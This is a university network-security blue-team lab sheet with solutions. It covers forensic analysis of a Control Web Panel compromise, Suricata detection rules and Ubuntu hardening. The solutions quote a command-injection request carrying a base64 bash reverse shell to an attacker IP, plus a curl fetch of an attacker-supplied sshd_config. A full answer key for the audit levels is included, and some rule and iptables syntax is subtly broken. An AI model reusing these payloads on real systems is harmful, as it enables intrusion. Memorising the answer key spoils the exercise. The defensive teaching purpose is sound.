02233 Network Security
Blue Day

2024-03-05

1 Description

Having impressed the recruiter and the hiring manager, you have landed a job at BigCorpTM (Congratulations!). This company fired its previous Linux administrator and now is your responsibility to look after their systems. Soon, your boss informs you of a cyber-attack affecting two machines and they need you urgently. The first is a CentOS7 machine running a Control Web Panel (CWP). This machine is in quarantine until the company knows the extent of the attack. Your mission is to identify the attack chain, find the causes of the attack, and mitigate this threat. The second is a Ubuntu machine from one of the employees; while the team removed the malware, they suspect this machine was severely misconfigured. Your job with this machine is to fix as many misconfigurations as possible. The report mentions *ssh* and *dangerous permissions* as the entry points for the attack.
Two machines, two jobs: In section 2 you will conduct a network analysis of the traffic between the legacy machine and the attacker, and implement countermeasures in the form of Suricata rules; and in section 3 you will use a snapshot of the Ubuntu machine to identify and fix several security issues in the form of misconfigurations.

2 CentOS7

In this exercise, you will put into practice your network analysis skills to identify attack patterns from network traffic captures using Wireshark (cf. 2.1) and Suricata (cf. 2.2). Our main objective is to analyze the traffic to identify the attack chain, understand how the attacker behaved inside the server, and propose system hardening methods to mitigate the exploited vulnerability and other risks. Before you continue, make sure you have: *i.)* the traffic captures from DTU Learn, *ii.)* Wireshark installed, and *iii.) Suricata installed.* We highly encourage using the Kali VM for this exercise, but you can also use your host system.

2.1 Network Analysis

The traffic folder contains a `pcap` file and the TLS key used for the communications. Load the pcap file into Wireshark and use the TLS keys to decrypt the traffic (navigate to "Edit > Preferences > Protocols > TLS" (or "Wireshark > Preferences > Protocols > TLS" on Mac) and add the path to the file under "Master-Secret log filename"). Once you are ready, try to answer the following questions (in groups?):

- Can you identify the software used for the reconnaissance phase? How does this software scan?

Solution

Following the SYN traces we can see that Nmap discloses itself in multiple ways, for example, when Nmap uses the Scripting Engine to find more information about the system services running HTTP, SSH and SMTP protocols.

```
Hypertext Transfer Protocol
  GET /nmaplowercheck1678220127 HTTP/1.1\r\n
  Connection: close\r\n
  User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)\r\n
  Host: 192.168.50.10\r\n
```

- How does the attacker get the first foothold in the server? Can you elaborate on the attack vector, vulnerability, and exploitation?

Solution

The attacker first gains knowledge of the CWP service running on port 2031. Then, it attempts to brute-force using common combinations of credentials. The attacker realizes that the running CWP version is vulnerable to a remote code execution attack through runaway parameters in the login page, requesting a reverse shell. This reverse shell uses 'bash' to stream the input and output to an external IP address (encoded in base64).

```
192.168.50.10  HTTP  1073 POST /login/index.php?login=$(echo${IFS}c2ggLWkgPiYgL2R1di90Y3AvMTkyLjE2OC41MC4xMS85MDAxIDA+JjE=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)
```

- From only using network traffic, can you follow any further steps with confidence? Can you identify any suspicious activity? What was the goal of the attacker?

Solution
Since the reverse shell traffic is not encrypted, we can see how the attacker interacts with the server in plain text until he moves to the installation phase. Then, the attacker proceeds to install his SSH keys into the server so he can access it without needing credentials.

```
sh: no job control in this shell
sh-4.2# cd /etc/ssh
cd /etc/ssh
sh-4.2# ls
ls
moduli
ssh_config
ssh_host_ecdsa_key
ssh_host_ecdsa_key.pub
ssh_host_ed25519_key
ssh_host_ed25519_key.pub
ssh_host_rsa_key
ssh_host_rsa_key.pub
sshd_config
sh-4.2# curl -o /etc/ssh/sshd_config http://192.168.50.11:8000/sshd_config
curl -o /etc/ssh/sshd_config http://192.168.50.11:8000/sshd_config
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  4113  100  4113    0     0   242k      0 --:--:-- --:--:-- --:--:--  267k
sh-4.2# exit
```

2.2 Intrusion Detection Systems (IDS)

In this exercise, we will learn how to use one of the most widely used open-source security tools, Suricata. Although Suricata can do much more than detect, today's goal is to get familiar with the tool and create rules to identify attacks. For this, we recommend you visit the documentation, which explains its usage and allowed arguments. Then, use the knowledge you have gathered about the CentOS machine and the exploited vulnerability to create the following rules.

- Write a rule to detect attackers attempting to run shell commands through URL parameters. Then, enhance this rule to detect when the payload contains a reverse shell. *(Optional: add the attacker to a blacklist).*

Solution
There are many approaches to this rule. First, we have to identify what do we consider as a code injection (the name of this attack). We know the code in this specific request, and overall and without losing generalization, we can say that any request that contains shell commands should be flagged as malicious. For example, blocking any request that contains the regex expression `$.*?`, which captures variables. For simplicity, we will use `$IFS` to raise an alert when the URL contains something resembling a shell delimiter. The suricata documentation website already gives very good hints! To include the reverse shell, we can place the whole command in the content of the `http.uri` field instead.

```
# Drop and generate alert when we receive a weird packet from the external network
# Note: you will have to define the variables starting with "£"
drop http $EXTERNAL any -> $OUR_NETWORK $HTTP_PORT \
    (msg:"Command injection";
    content:"POST"; http_method; \ # On POST requests
    content:"${IFS}"; http_uri; \ # Capture the URL
    sid:1;)
```

- Write a rule to detect attackers connecting to the server through SSH as the `root` user. Then, enhance the rule with an exception for an administrator (you can make a few assumptions, e.g., location, address, time, etc.).

Solution
Suricata can identify most of these things by default using the `ssh` keyword. Note that Suricata can not decrypt traffic by itself! we are assuming here that we are decryption the transit traffic.

```
drop ssh $EXTERNAL any -> $OUR_NETWORK $SSH_PORT \
    (msg:"Root login attempt";
    flow:established,to_server;
    ssh.hassh.string; content:"root,root@<server ip>,none";
```

- *Optional: Assuming there is a set of false credentials placed somewhere in the server, create a honeytoken rule that fires when an attacker uses them to log into the server through the web panel. You can assume Suricata can decrypt the traffic.*

You can replay the *PCAP* file offline with Suricata to test your rules using the following command:

```
# Offline replay of a pcap file and local rules
suricata -r '/path/to/pcap' -s '/path/to/rules/*.rules'
```

3 Ubuntu

In this exercise, you will use a snapshot of the Ubuntu machine to fix the various misconfigurations. The image is hosted in the Docker Hub and works on both ARM and x86 hosts. It is important to mention that you will

need Docker installed in your host machine, *do not install docker in the VM*. The following guide will guide you through the setup.

Setup: To run the image, run the command:

```
docker run -d --name audit --cap-add=NET_ADMIN bitisg/audit:v2
```

- `-d` runs the container in detached mode (in the background);
- `--name audit` gives the container a name (audit), making it easier to refer to;
- `--cap-add=NET_ADMIN` grants the container some additional network-related privileges;
- `bitisg/audit:v2` specifies the image (bitisg/audit) and its version/tag (v2) to run.

Then, enter the container (named `audit`) with an **i**nteractive **t**erminal running `bash`, run the following command:

```
docker exec -it audit /bin/bash
```

To check your progress, run the audit binary located at the path `/app/audit`. There are multiple things for you to fix, and some can be a bit tricky if you are not familiar with Linux. If you get stuck, you can get hints for the levels you haven't solved by running the `/app/audit` binary like this:

```
/app/audit --hints
```

3.1 Hints

Exercises 1 to 1.75 : These exercises are centered around configuring ssh. Look into where the SSH config file is placed, and the options available regarding authentication especially.

Exercise 2 : This exercise is based on configuring firewalls. You just changed the SSH config, perhaps you could use `iptables` to limit the number of SSH connection attempts?

Exercise 3 to 4 : Look into how you define what commands can be run as root from other users on Linux. In addition, find out what SUID is and how to find programs with this permission set. Then, remove any dangerous permissions or programs that you find. Note: `https://gtfobins.github.io/` can help here.

Exercises 5 to 6 : Look into how users and their passwords are defined in Linux. Check these files. Is there anything strange that pops out, such as a shared UID?

Exercise 7 : Look into how can find exposed network ports. Perhaps services on these ports should be closed. This can be done by killing the process responsible for opening them.

Solution

- level 1: PasswordAuthentication no in the file /etc/ssh/sshd_config
- level 1.5: PubkeyAuthentication yes in the file /etc/ssh/sshd_config
- level 1.75: PermitRootLogin no in the file /etc/ssh/sshd_config
- level 2: Run the command: iptables -A INPUT -p tcp –dport 22 -m conntrack –ctstate NEW -m limit –limit 3/min -j ACCEPT
- level 3: sudo chmod u-s /usr/bin/find (and the others, vim.basic and python3)
- level 4: rm -rf /etc/sudoers.d/bitty
- level 5: manually edit passwd file so that the dave user doesnt have uid 0
- level 6: passwd dave, although usermod can also be used
- level 7: Kill the process that has established the nc listener
- bonus: Remove the backdoor from the .bashrc file in /home/bitty